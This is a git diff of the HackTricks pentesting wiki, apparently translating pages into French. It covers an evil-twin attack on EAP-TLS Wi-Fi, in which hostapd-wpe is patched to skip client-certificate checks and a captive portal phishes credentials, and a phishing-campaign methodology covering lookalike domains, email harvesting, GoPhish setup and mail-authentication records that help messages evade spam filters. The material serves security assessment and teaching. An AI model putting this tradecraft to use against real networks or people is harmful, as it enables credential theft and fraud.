diff --git a/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md b/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md index dfb834d73..aea520010 100644 --- a/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md +++ b/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md @@ -4,148 +4,6 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - - - -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -At some point I needed to use the proposed solution by the post bellow but the steps in [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) wasn't working in modern kali (2019v3) anymore.\ -Anyway, it's easy to make them work.\ -You only need to download the hostapd-2.6 from here: [https://w1.fi/releases/](https://w1.fi/releases/) and before compiling again hostapd-wpe install: `apt-get install libssl1.0-dev` - -## Evil Twin for EAP-TLS - -**This post was copied from** [**https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/**](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/) - -### The Uncommon Case: Attacking EAP-TLS - -Earlier I mentioned a less common wireless network configuration that we had to deal with during this project. This scheme is based on EAP-TLS, where the supplicant will have to present a valid client certificate to the authentication server before being granted access to the network. - -In this scenario, the secure TLS channel will only be created if the mutual authentication process goes well. In other words, if the supplicant first accepts the certificate of the authentication server and then the authentication server accepts the certificate of the supplicant. - -During the assessment, we were surprised by an error message obtained when using hostapd-wpe in our attacking machine: - -![hostapd-wpe error](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.20.32-PM.png) - -As you can see in the error message, our tool is triggering an error message indicating it did not accept the certificate of the Wireless client because it is signed by an unknown CA. Hilarious, right? Our attacking tool is denying access to the victim because the user is not providing valid credentials. 🙂 - -So, judging by the output of the tool, we can see that the negotiation reached the point where the client certificate was indeed presented to the fake Radius server, which means that the fake certificate forged by the attacker was accepted by the victim. - -This means that the supplicant configuration was too lax, and it was accepting any certificate from the radius server. - -After seeing this error and searching the Web, we realized it was not that common to exploit this scenario -judging by the lack of information on blogs related to this matter – and that we had to deal with it somehow. - -### [MiTM Attack – Defining the Objective](https://versprite.com/tag/mitm/) - -As you might have guessed already, the idea here is to tweak our tool to make it accept any certificate provided by occasional supplicants to let the victim establish a full connection with our malicious Wireless infrastructure and then [perform a man-in-the-middle attack](https://versprite.com/tag/mitm/) between the victim and the Internet, showing a captive portal to capture plaintext credentials as a first step. - -Note: Of course, when the MiTM attack is fully functional, you can redirect all of the victim’s traffic to your host to capture NetNTLM hashes, for example. We also walkthrough a similar attack in the following post: [MiTM Attack Between Target Windows Machines and a DNS Server](https://versprite.com/blog/mitm-dns-spoofing/). - -In both scenarios, we first need to understand where the certificate control is being performed by hostapd-wpe and then modify it accordingly to prevent it from rejecting the invalid or unknown client certificates. - -After a quick analysis of the source code, we found the following: - -**Original Source Code File: hostapd-2.6/src/eap\_server/eap\_server\_tls.c** - -![eap\_server\_tls\_ssl\_init](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.20.41-PM.png) - -As you can see in the code above (line 80), the EAP TLS server implementation on hostapd invokes a custom function named eap\_server\_tls\_ssl\_init to initialize the server, and the third parameter is set to 1. - -**Original Source Code File: hostapd-2.6/src/eap\_server/eap\_server\_tls\_common.c** - -![tls\_connection\_set\_verify-1](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.27.49-PM.png) - -![tls\_connection\_set\_verify-2](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.28.02-PM.png) - -In the code above (lines from 78 to 80), we can observe the invocation of the function `tls_connection_set_verify` with the parameter `verify_peer` set to 1 (this was received from the `eap_tls_init function`). - -**Original Source Code File: hostapd-2.6/src/crypto/tls\_openssl.c** - -![verify\_peer](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.32.53-PM.png) - -On the code above (from line 2307 to 2309), we can observe that the parameter `verify_peer` (originally set to 1) will be eventually used as a parameter of the OpenSSL function SSL\_set\_verify to make it validate the client certificate or not when the library is working as a server. By modifying the original line to 0, we can change the behavior of the tool and make it ignore whether the client certificate is valid or not. - -**Modified Source Code File: hostapd-2.6/src/eap\_server/eap\_server\_tls.c** - -![eap\_tls\_init](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.34.01-PM.png) - -After patching the source code of hostapd-wpe and recompiling, we tried the attack again and got the following output: - -![patching hostapd-wpe](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.34.54-PM.png) - -By observing the output of our modified version of hostapd-wpe, we can see that the error message is not there anymore, and the client appears to be connected to our fake AP. Now, we should build the adequate infrastructure to present a captive portal to the victim and attempt a phishing attack. - -To quickly leverage it, we decided to take the portion of the code from Wifiphisher and adapt it for our particular needs, creating a rudimentary captive portal in Python. A link to the code for this Proof-of-Concept can be found on the references. - -Now that we have all the elements, let’s perform the attack against a victim and see how all this would be from an attacker perspective: - -#### 1. Let’s check the environment with airodump-ng - -![airodump-ng](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.35.48-PM.png) - -From the output, we can identify the access point BSSID (F4:EC:38:FA:E7:57) to which our victim (00:0F:60:07:95:D7) is connected to the WPA2-enterprise network named “enterprise” (ESSID). - -#### 2. Run the modified hostapd-wpe tool to create a fake AP for the target network - -![modified modified hostapd-wpe](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.36.29-PM.png) - -#### 3. Customize the captive portal template (e.g. HTML login) to make it familiar for your target audience (victims) and run it - -![Customize the captive portal](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.37.02-PM.png) - -#### 4. Perform a de-auth attack and assume the risk (if you are impatient) - -![de-auth attack](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.37.36-PM.png) - -As a result, we will see on the modified hostapd-wpe tool’s output the following messages: - -![victim connected](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.38.09-PM.png) - -This suggests a victim (00:0f:60:07:95:d7) has connected to our fake AP. - -On the victim’s Windows host, we observe it automatically connected to the fake AP, and as soon as web navigation is tried, the user is presented the captive portal: - -![captive portal credentials](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.38.54-PM.png) - -After the victim has entered her credentials, we can see the output on the captive portal’s console: - -![captive portal console](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.01-PM.png) - -The following screenshot shows the message shown to the victim when performing the attack to an iPhone device connected to a WPA2 network, requesting the victim to accept the certificate: - -![accept certificate](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.11-PM.png) - -The following screenshot shows the captive portal presented to the iPhone device: - -![iphone credentials](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.19-PM.png) - -Note: The Captive Portal HTML template drafted for this demo is just a Proof-of-Concept sample, and I encourage you to develop your own, including HTML tags searching for files on the network that allows you to capture NetNTLM hashes (if the victim is using Internet Explorer), as long as others more sophisticated that requires the user to download a binary on the computer to scan for issues before allowing access to the network. - -Although we can read different online articles stating that EAP-TLS is the most secure implementation for Wireless infrastructures, it is not used by most companies due to its scalability problems: the complexity of creating, delivering, configuring, and revoking a unique certificate per user. - -The whole security of this scheme relies, again, on the weakest link in the chain, which might be a device or host configured to accept any certificate presented by the authentication server or a mobile device used by an unconscious user that accepts it without considering the risk of this action. - -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator diff --git a/generic-methodologies-and-resources/phishing-methodology/README.md b/generic-methodologies-and-resources/phishing-methodology/README.md index 416c0715a..ab07eaf56 100644 --- a/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/generic-methodologies-and-resources/phishing-methodology/README.md @@ -1,55 +1,55 @@ -# Phishing Methodology +# Méthodologie de phishing
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Methodology +## Méthodologie -1. Recon the victim - 1. Select the **victim domain**. - 2. Perform some basic web enumeration **searching for login portals** used by the victim and **decide** which one you will **impersonate**. - 3. Use some **OSINT** to **find emails**. -2. Prepare the environment - 1. **Buy the domain** you are going to use for the phishing assessment - 2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS) - 3. Configure the VPS with **gophish** -3. Prepare the campaign - 1. Prepare the **email template** - 2. Prepare the **web page** to steal the credentials -4. Launch the campaign! +1. Reconnaissance de la victime + 1. Sélectionnez le **domaine de la victime**. + 2. Effectuez une **énumération web de base** en **recherchant les portails de connexion** utilisés par la victime et **décidez** lequel vous allez **usurper**. + 3. Utilisez un peu d'**OSINT** pour **trouver des adresses e-mail**. +2. Préparez l'environnement + 1. **Achetez le domaine** que vous allez utiliser pour l'évaluation de phishing + 2. **Configurez le service de messagerie électronique** en relation avec les enregistrements (SPF, DMARC, DKIM, rDNS) + 3. Configurez le VPS avec **gophish** +3. Préparez la campagne + 1. Préparez le **modèle d'e-mail** + 2. Préparez la **page web** pour voler les informations d'identification +4. Lancez la campagne ! -## Generate similar domain names or buy a trusted domain +## Générer des noms de domaine similaires ou acheter un domaine de confiance -### Domain Name Variation Techniques +### Techniques de variation de nom de domaine -* **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com). -* **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com). -* **New TLD**: Same domain using a **new TLD** (e.g., zelster.org) -* **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com). -* **Transposition:** It **swaps two letters** within the domain name (e.g., zelster.com). -* **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com). -* **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com). -* **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com). -* **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com). -* **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com). -* **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com). -* **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com) +* **Mot-clé**: Le nom de domaine **contient** un **mot-clé** important du domaine d'origine (par exemple, zelster.com-management.com). +* **Sous-domaine avec tiret**: Remplacez le **point par un tiret** d'un sous-domaine (par exemple, www-zelster.com). +* **Nouvelle TLD**: Même domaine en utilisant une **nouvelle TLD** (par exemple, zelster.org) +* **Homoglyphe**: Il **remplace** une lettre dans le nom de domaine par des **lettres qui se ressemblent** (par exemple, zelfser.com). +* **Transposition**: Il **échange deux lettres** dans le nom de domaine (par exemple, zelster.com). +* **Singulier/Pluriel**: Ajoute ou supprime un "s" à la fin du nom de domaine (par exemple, zeltsers.com). +* **Omission**: Il **supprime une** des lettres du nom de domaine (par exemple, zelser.com). +* **Répétition**: Il **répète une** des lettres dans le nom de domaine (par exemple, zeltsser.com). +* **Remplacement**: Comme homoglyphe mais moins discret. Il remplace l'une des lettres du nom de domaine, peut-être par une lettre à proximité de la lettre d'origine sur le clavier (par exemple, zektser.com). +* **Sous-domaine**: Introduire un **point** à l'intérieur du nom de domaine (par exemple, ze.lster.com). +* **Insertion**: Il **insère une lettre** dans le nom de domaine (par exemple, zerltser.com). +* **Point manquant**: Ajoutez le TLD au nom de domaine. (par exemple, zelstercom.com) -**Automatic Tools** +**Outils automatiques** * [**dnstwist**](https://github.com/elceef/dnstwist) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) -**Websites** +**Sites Web** * [https://dnstwist.it/](https://dnstwist.it) * [https://dnstwister.report/](https://dnstwister.report) @@ -57,54 +57,42 @@ ### Bitflipping -In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes.\ -This applies to domains too. For example, _windows.com_ becomes _01110111..._ in the volatile memory of your computing device.\ -However, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? That is one of the 0's becomes a 1 and vice versa.\ -Applying this concept to DNS request, it's possible that the **domain requested** that arrives to the DNS server **isn't the same as the domain initially requested.** +Dans le monde de l'informatique, tout est stocké en bits (zéros et uns) en mémoire en arrière-plan.\ +Cela s'applique également aux domaines. Par exemple, _windows.com_ devient _01110111..._ dans la mémoire volatile de votre appareil informatique.\ +Cependant, que se passe-t-il si l'un de ces bits est automatiquement inversé en raison d'une éruption solaire, de rayons cosmiques ou d'une erreur matérielle ? C'est-à-dire qu'un des 0 devient un 1 et vice versa.\ +En appliquant ce concept à la demande DNS, il est possible que le **domaine demandé** qui arrive au serveur DNS **ne soit pas le même que le domaine initialement demandé**. -For example a 1 bit modification in the domain windows.com can transform it into _windnws.com._\ -**Attackers may register as many bit-flipping domains as possible related to the victim in order to redirect legitimate users to their infrastructure**. +Par exemple, une modification de 1 bit dans le domaine windows.com peut le transformer en _windnws.com._\ +**Les attaquants peuvent enregistrer autant de domaines de basculement de bits que possible liés à la victime afin de rediriger les utilisateurs légitimes vers leur infrastructure**. -For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) +Pour plus d'informations, consultez [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) -### Buy a trusted domain +### Acheter un domaine de confiance -You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\ -In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in: +Vous pouvez rechercher sur [https://www.expireddomains.net/](https://www.expireddomains.net) un domaine expiré que vous pourriez utiliser.\ +Afin de vous assurer que le domaine expiré que vous allez acheter **a déjà un bon référencement naturel**, vous pouvez vérifier comment il est catégorisé dans : * [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) * [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) -## Discovering Emails +## Découverte d'adresses e-mail -* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) -* [https://phonebook.cz/](https://phonebook.cz) (100% free) +* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% gratuit) +* [https://phonebook.cz/](https://phonebook.cz) (100% gratuit) * [https://maildb.io/](https://maildb.io) * [https://hunter.io/](https://hunter.io) * [https://anymailfinder.com/](https://anymailfinder.com) -In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\ -Moreover, don't forget that if the users use **any web portal to access their mails**, you can check if it's vulnerable to **username brute force**, and exploit the vulnerability if possible. - -## Configuring GoPhish - -### Installation - -You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) - -Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\ -You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local: - +Afin de **découvrir plus** d'adresses e-mail valides ou de **vérifier celles** que vous avez déjà découvertes, vous pouvez vérifier si vous pouvez les brute-force sur les serveurs SMTP de la victime. [Apprenez comment vérifier/découvrir une adresse e-mail ici](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\ +De plus, n'oubliez pas que si les utilisateurs utilisent **n'importe quel portail web pour accéder à leurs e-mails**, vous pouvez vérifier s'il est vulnérable à la **brute force de nom d'utilisateur**, et explo ```bash ssh -L 3333:127.0.0.1:3333 @ ``` - ### Configuration -**TLS certificate configuration** - -Before this step you should have **already bought the domain** you are going to use and it must be **pointing** to the **IP of the VPS** where you are configuring **gophish**. +**Configuration du certificat TLS** +Avant cette étape, vous devez **avoir déjà acheté le domaine** que vous allez utiliser et il doit être **redirigé** vers l'**adresse IP du VPS** où vous configurez **gophish**. ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -120,38 +108,34 @@ mkdir /opt/gophish/ssl_keys cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt​ ``` +**Configuration de messagerie** -**Mail configuration** +Commencez par installer : `apt-get install postfix` -Start installing: `apt-get install postfix` - -Then add the domain to the following files: +Ensuite, ajoutez le domaine aux fichiers suivants : * **/etc/postfix/virtual\_domains** * **/etc/postfix/transport** * **/etc/postfix/virtual\_regexp** -**Change also the values of the following variables inside /etc/postfix/main.cf** +**Modifiez également les valeurs des variables suivantes dans /etc/postfix/main.cf** `myhostname = `\ `mydestination = $myhostname, , localhost.com, localhost` -Finally modify the files **`/etc/hostname`** and **`/etc/mailname`** to your domain name and **restart your VPS.** +Enfin, modifiez les fichiers **`/etc/hostname`** et **`/etc/mailname`** avec votre nom de domaine et **redémarrez votre VPS.** -Now, create a **DNS A record** of `mail.` pointing to the **ip address** of the VPS and a **DNS MX** record pointing to `mail.` - -Now lets test to send an email: +Maintenant, créez un **enregistrement DNS A** de `mail.` pointant vers l'**adresse IP** du VPS et un **enregistrement DNS MX** pointant vers `mail.` +Maintenant, testons l'envoi d'un e-mail : ```bash apt install mailutils echo "This is the body of the email" | mail -s "This is the subject line" test@email.com ``` +**Configuration de Gophish** -**Gophish configuration** - -Stop the execution of gophish and lets configure it.\ -Modify `/opt/gophish/config.json` to the following (note the use of https): - +Arrêtez l'exécution de Gophish et configurez-le.\ +Modifiez `/opt/gophish/config.json` comme suit (notez l'utilisation de https): ```bash { "admin_server": { @@ -176,11 +160,9 @@ Modify `/opt/gophish/config.json` to the following (note the use of https): } } ``` +**Configurer le service gophish** -**Configure gophish service** - -In order to create the gophish service so it can be started automatically and managed a service you can create the file `/etc/init.d/gophish` with the following content: - +Afin de créer le service gophish pour qu'il puisse être démarré automatiquement et géré en tant que service, vous pouvez créer le fichier `/etc/init.d/gophish` avec le contenu suivant : ```bash #!/bin/bash # /etc/init.d/gophish @@ -227,9 +209,7 @@ case $1 in start|stop|status) "$1" ;; esac ``` - -Finish configuring the service and checking it doing: - +Terminer la configuration du service et vérifiez-le en faisant : ```bash mkdir /var/log/gophish chmod +x /etc/init.d/gophish @@ -240,68 +220,59 @@ service gophish status ss -l | grep "3333\|443" service gophish stop ``` +## Configuration du serveur de messagerie et du domaine -## Configuring mail server and domain +### Attendez -### Wait +Plus un domaine est ancien, moins il est probable qu'il soit considéré comme du spam. Vous devriez donc attendre le plus longtemps possible (au moins une semaine) avant l'évaluation du phishing.\ +Notez que même si vous devez attendre une semaine, vous pouvez tout configurer maintenant. -The older a domain is the less probable it's going to be caught as spam. Then you should wait as much time as possible (at least 1week) before the phishing assessment.\ -Note that even if you have to wait a week you can finish configuring everything now. +### Configuration de l'enregistrement DNS inversé (rDNS) -### Configure Reverse DNS (rDNS) record +Définissez un enregistrement rDNS (PTR) qui résout l'adresse IP du VPS en nom de domaine. -Set a rDNS (PTR) record that resolves the IP address of the VPS to the domain name. +### Enregistrement de la politique d'expéditeur (SPF) -### Sender Policy Framework (SPF) Record +Vous devez **configurer un enregistrement SPF pour le nouveau domaine**. Si vous ne savez pas ce qu'est un enregistrement SPF, [**lisez cette page**](../../network-services-pentesting/pentesting-smtp/#spf). -You must **configure a SPF record for the new domain**. If you don't know what is a SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/#spf). - -You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine) +Vous pouvez utiliser [https://www.spfwizard.net/](https://www.spfwizard.net) pour générer votre politique SPF (utilisez l'adresse IP de la machine VPS) ![](<../../.gitbook/assets/image (388).png>) -This is the content that must be set inside a TXT record inside the domain: - +Ceci est le contenu qui doit être défini dans un enregistrement TXT à l'intérieur du domaine: ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` +### Enregistrement DMARC (Domain-based Message Authentication, Reporting & Conformance) -### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record - -You must **configure a DMARC record for the new domain**. If you don't know what is a DMARC record [**read this page**](../../network-services-pentesting/pentesting-smtp/#dmarc). - -You have to create a new DNS TXT record pointing the hostname `_dmarc.` with the following content: +Vous devez **configurer un enregistrement DMARC pour le nouveau domaine**. Si vous ne savez pas ce qu'est un enregistrement DMARC, [**lisez cette page**](../../network-services-pentesting/pentesting-smtp/#dmarc). +Vous devez créer un nouvel enregistrement DNS TXT pointant vers le nom d'hôte `_dmarc.` avec le contenu suivant : ```bash v=DMARC1; p=none ``` - ### DomainKeys Identified Mail (DKIM) -You must **configure a DKIM for the new domain**. If you don't know what is a DMARC record [**read this page**](../../network-services-pentesting/pentesting-smtp/#dkim). +Vous devez **configurer un DKIM pour le nouveau domaine**. Si vous ne savez pas ce qu'est un enregistrement DMARC, [**lisez cette page**](../../network-services-pentesting/pentesting-smtp/#dkim). -This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) +Ce tutoriel est basé sur : [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) {% hint style="info" %} -You need to concatenate both B64 values that the DKIM key generates: - +Vous devez concaténer les deux valeurs B64 que la clé DKIM génère : ``` v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB ``` {% endhint %} -### Test your email configuration score - -You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com)\ -Just access the page and send an email to the address they give you: +### Testez votre score de configuration d'e-mail +Vous pouvez le faire en utilisant [https://www.mail-tester.com/](https://www.mail-tester.com)\ +Accédez simplement à la page et envoyez un e-mail à l'adresse qu'ils vous donnent: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` - -You can also c**heck your email configuration** sending an email to `check-auth@verifier.port25.com` and **reading the response** (for this you will need to **open** port **25** and see the response in the file _/var/mail/root_ if you send the email a as root).\ -Check that you pass all the tests: - +Vous pouvez également **vérifier la configuration de votre e-mail** en envoyant un e-mail à `check-auth@verifier.port25.com` et **en lisant la réponse** (pour cela, vous devrez **ouvrir** le port **25** et voir la réponse dans le fichier _/var/mail/root_ si vous envoyez l'e-mail en tant que root).\ +Vérifiez que vous réussissez tous les tests : ```bash ========================================================== Summary of Results @@ -312,45 +283,41 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` - -Alternatively, you can send a **message to a Gmail address that you control**, **view** the received **email’s headers** in your Gmail inbox, `dkim=pass` should be present in the `Authentication-Results` header field. - +Alternativement, vous pouvez envoyer un **message à une adresse Gmail que vous contrôlez**, **afficher** les **en-têtes de l'email** reçu dans votre boîte de réception Gmail, `dkim=pass` doit être présent dans le champ d'en-tête `Authentication-Results`. ``` Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; dkim=pass header.i=@example.com; ``` +### Retrait de la liste noire de Spamhouse -### ​Removing from Spamhouse Blacklist +La page www.mail-tester.com peut vous indiquer si votre domaine est bloqué par Spamhouse. Vous pouvez demander le retrait de votre domaine/IP à l'adresse suivante : [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) -The page www.mail-tester.com can indicate you if you your domain is being blocked by spamhouse. You can request your domain/IP to be 